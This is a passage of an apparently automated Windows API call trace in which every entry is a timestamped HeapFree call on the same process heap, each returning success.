returned 1 [0233.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0233.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0233.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0233.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0233.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0233.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0233.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0233.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0233.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0233.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0233.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0233.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0233.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0234.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0234.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0234.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0234.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0234.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0234.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0234.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0234.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0234.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0234.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0234.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.523] 